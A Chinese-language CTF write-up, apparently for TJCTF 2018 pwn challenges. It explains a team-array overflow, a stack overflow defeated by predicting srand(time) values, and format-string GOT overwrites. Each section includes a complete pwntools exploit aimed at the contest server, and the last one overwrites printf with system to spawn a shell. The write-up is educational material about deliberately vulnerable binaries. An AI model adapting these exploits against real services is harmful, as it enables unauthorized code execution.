事实上看ida可以知道v43处于ebp-0xc的位置，只有在输入v30的时候允许最长长度为64的字符串，而v30处于ebp-0x44，v30和v43相距56，所以覆盖点在v30。

精致的输入如下

Tilted-Troop(points: 40)

首先看下开了什么保护，发现全开了:-(

▶ checksec strover 
[*] '/2018TJCTF/pwn-Tilted-Troop40/strover'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

给了源码，那就不费那劲看伪代码了，程序流程就是组个队打怪，如果最后队伍的队员力量值和等于400，拿到flag。

这里有个bug就是一个队伍里最大队员数只有8个，但是由于逻辑有bug导致我们能输入9个队员的信息。因为队员的名字和力量的地址是在内存中是连续的，如下图。所以第九个队员的name会把strength数组覆盖，那么我们就可以精确控制第九个队员的name覆盖strength数组使得队员的力量值和为400。

#define MAX_TEAM_SIZE 8

const int goal = 400;

struct team {
    char* names[MAX_TEAM_SIZE];
    char* strength;
    int teamSize;
} typedef team;

exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
from sys import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]

if argv[1] == 'l':
    io = process('./strover')
else:
    io = remote('problem1.tjctf.org', 8002)

for i in range(8):
    io.sendline("A "+str(i)*4)

io.sendline( "A " + chr(400/4)*4 )
io.sendline("F")

io.interactive()

Future-Canary-Lab(points: 80)

首先看下开了哪些保护，发现又是个栈溢出的题目

▶ checksec interview 
[*] '/2018TJCTF/pwn-Future-Canary-Lab80/interview'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

首先main函数中time(0)获取当时系统时间，然后以此为随机数种子

然后在interview函数中生成10个随机数，存在v1里，并copy一份给v3。

看下栈的情况会发现，v1处于ebp-0x10，s处于ebp-0x78，v3处于ebp-x038。

如果我们直接将s赋值一个很长的字符串+0xdeadbeef，那么原本和v1相等的v3则会被覆盖为我们的输入，造成check失败。所以我们应该构造一个包含这10个随机数的payload，再发过去就稳了。

这里还有一个坑点是在a1-i+j这里，我们在输入s之后会把i和j的值也覆盖掉，由于之后j还会被赋值为10，所以i还是我们输入的值，那么a1我们就不能传0xdeadbeef。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
import ctypes
import sys
context.log_level = 'debug'

if sys.argv[1] == 'l':
    io = process('./test')
else:
    io = remote('problem1.tjctf.org', 8000)

dll = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') 

v4 = dll.time(0)
#print v4
dll.srand(v4)
v3 = [ dll.rand()  for i in range(10) ]
payload = '\x11'*(0x40)
for i in v3:
    payload += p32(i)
payload += '\x11'*(0x18)
payload += p32(0xdeadbeef+0x11111111-10)
#info(payload)

io.sendlineafter("?\n",payload)

io.interactive()

Online-Banking(points: 100)

Secure-Secrets(points: 110)

先看看开了哪些保护，发现除了地址随机化都有:-(

▶ checksec secure 
[*] '/2018TJCTF/pwn-Secure-Secrets110/secure'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

用ida看伪代码会发现get_message函数存在明显的格式化字符串漏洞

并且get_secret函数可以直接拿到flag

那么目的就很明确了，通过fsb的任意地址写将exit函数覆盖为get_secret的地址即可拿到flag:-)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
from sys import *
context.log_level = 'debug'

if argv[1] == 'l':
    io = process('./secure')
else:
    io = remote('problem1.tjctf.org', 8008)

elf = ELF('./secure')

def send_message(payload):
    
    io.sendlineafter('> ','666')
    
    io.sendlineafter('> ',payload)
    
    io.sendlineafter('> ','666')
    

def loop_it():
    
    main_addr = elf.symbols['main']
    exit_got = elf.got['exit']
#print "[+]exit_got = {}".format(hex(exit_got))
    payload = p32(elf.got['printf']) + '%' + str((main_addr&0xffff)-4) + 'c%35$hn'
    
    info(payload)
    send_message(payload)

def get_flag():

    flag_addr = elf.sym['get_secret']
    
    payload = p32(elf.got['exit']) + '%' + str((flag_addr&0xffff)-4) + 'c%35$hn'
#payload = fmtstr_payload( 35, {printf_got:flag_addr} )
    send_message(payload)
    io.recv()
    
if __name__ == '__main__':

    #loop_it()
    get_flag()
    io.interactive()

Super-Secure-Secrets(points: 140)

64位格式化字符串的题目，第一次做64位的，给坑了很久。。

简单分析一下程序，set_message用来存payload

get_message中有fsb，可以用它来达到任意地址读和任意地址写，并且由于程序只能执行一次get_message操作，我们可以通过将memset的got表的真实地址覆盖成_start的地址达到循环的目的。

当我们能够无限次利用fsb的时候，常规操作一通上基本就稳了。

常规操作：
泄露两个函数的真实地址从而确定libc版本
通过libc得到system函数的真实地址
将printf的真实地址覆盖为system的真实地址
传””/bin/sh\0”从而getshell

一些64位程序的坑：

这里由于程序是64位，传参顺序为rdi, rsi, rdx, rcx, r8, r9，接下来才是栈，所以在计算偏移时应在栈的基础上加6。
由于64位程序的地址的高字节都是\x00，如果放在payload前面会把后面的截断，所以传地址时应放在payload的最后面。

一个关于优先级的坑(之前给坑过，写着这题又忘了…)

>>> a = 0x1234
>>> ((a>>8)&0xff)-4 // 预期结果
14
>>> (a>>8)&(0xff-4) // 非预期结果
18
>>> (a>>8)&0xff-4 // 非预期结果
18

那么开始解题拿flag:-)

首先泄露libc，这个可以在没loop之前得到，跑两次就行了。

然后就让程序循环，利用got表可写的特性将memset的真实地址覆盖为_start，这里_start其实就是程序的入口点，它负责调用main函数。接着泄露一次printf的真实地址，计算得到system的真实地址，再构造payload将printf覆盖为system。最后传"/bin/sh\0"，get_message的printf(a)实际上就是system("/bin/sh")。

exp如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'L1B0'

from pwn import *
from sys import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c' ]
context.binary = './super_secure'

elf = context.binary
if argv[1] == 'l':
    io = process('./super_secure')
    libc = elf.libc
else:
    io = remote('problem1.tjctf.org', 8009)
    libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

def DEBUG():
    gdb.attach(io,'b *0x400c60\nb *0x400CD5\nc\n')

def mysend(payload,flag=False):

    io.sendlineafter("> ","s")
    io.sendlineafter(":\n","111111")
    io.sendlineafter(":\n",payload)
    
    io.sendlineafter("> ","v")
    io.sendlineafter(":\n","111111")
    if not flag:
        io.sendline("f**kyo")

def set_to_memset():
    
    payload = ("%{}c%{}$hn".format(elf.sym["_start"]&0xffff,28)).ljust(16,'+') + p64(elf.got['memset'])
    mysend(payload)

def leak(addr):

    payload = "++%27$s+" + p64(addr)
    mysend(payload)

    io.recvuntil("++")
    real_addr = io.recvuntil("+")[:-1]
    real_addr = u64( real_addr + "\x00"*(8-len(real_addr)) )

    print hex(real_addr)
    return real_addr 

def printf_to_system(printf_addr):

    system_addr = libc.sym['system'] + printf_addr - libc.sym['printf']
    print hex(system_addr),hex(printf_addr)

    payload = ("%{}c%30$hhn".format(system_addr&0xff)).ljust(16,'+')
    payload += ("%{}c%31$hn".format( ((system_addr>>8)&0xffff) - (system_addr&0xff) - 5 )).ljust(16,'+')
    payload += p64( elf.got['printf'] ) + p64( elf.got['printf']+1 )
    info(payload)
#DEBUG()
    mysend(payload)
    
    io.sendline("s")
    io.sendline("111111")
    io.sendline("/bin/sh\0")

    io.sendline("v")
    io.sendline("111111")

if __name__ == "__main__":
    
    set_to_memset()
    printf_addr = leak(elf.got['printf'])
    printf_to_system(printf_addr)

    io.interactive()

Reference

在线libc-database：https://libc.blukat.me/
_start的作用：https://stackoverflow.com/questions/29694564/what-is-the-use-of-start-in-c